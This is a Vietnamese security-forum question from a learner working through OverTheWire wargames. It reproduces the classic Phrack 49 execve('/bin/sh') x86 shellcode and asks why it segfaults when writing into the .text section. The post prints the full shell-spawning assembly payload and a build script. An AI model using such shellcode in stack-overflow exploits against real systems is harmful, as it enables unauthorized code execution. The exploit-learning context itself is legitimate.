<![CDATA[Latest posts for the topic "Lỗi khi thao tác lên vùng nhớ .text runtime"]]> /hvaonline/posts/list/12.html JForum - http://www.jforum.net Lỗi khi thao tác lên vùng nhớ .text runtime www.overthewire.org). Hiện tại em đang có vấn đề với việc build asm code để exploit stack over flow. Code:
jmp 0x1f # 2 bytes
popl %esi # 1 byte (1)
movl %esi,0x8(%esi)  # 3 bytes (2)
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi)    # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal  0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call  -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
Đây là code example trong tài liệu tham khảo http://www.phrack.com/issues.html?issue=49&id=14&mode=txt. Mục đích của đoạn asm code trên là lấy được address của string "bin/sh" truyền vào hàm execve -> exit -> spawn thành công shell. 1 -> ta thấy %esi lúc này chứa address của string "bin/sh" và lệnh tiếp theo để insert NULL vào cuối string để đánh đấu kết thúc string -> không bị lỗi khi insert thêm NOP để align string exploit sau này. Đây cũng là điểm khi em run code bị lỗi, %esi lúc này chứa address thuộc vùng .text nên lệnh movl %esi,0x8(%esi) luôn trả về error Segmentation fault khi run. Câu hỏi của em là: 1. Có phải tài liệu này đã outdate và thời điểm hiện tại compiler đã thay đổi nên ví dụ trên không còn phù hợp nữa 2. Em thử tìm có 2 cách để make .text writable : - thử build với option -N của ld Code:
#!/bin/bash
    gcc -c -o  $1.o $1.s
    ld  -s -o -N $1 $1.o
-> không hoạt động - dùng mprotect. Cách này có vẻ bất khả thi vì phải tính toán theo page_size khi runtime. Có cách nào khác nữa để "make .text writable".]]>
/hvaonline/posts/list/45441.html#279703 /hvaonline/posts/list/45441.html#279703 GMT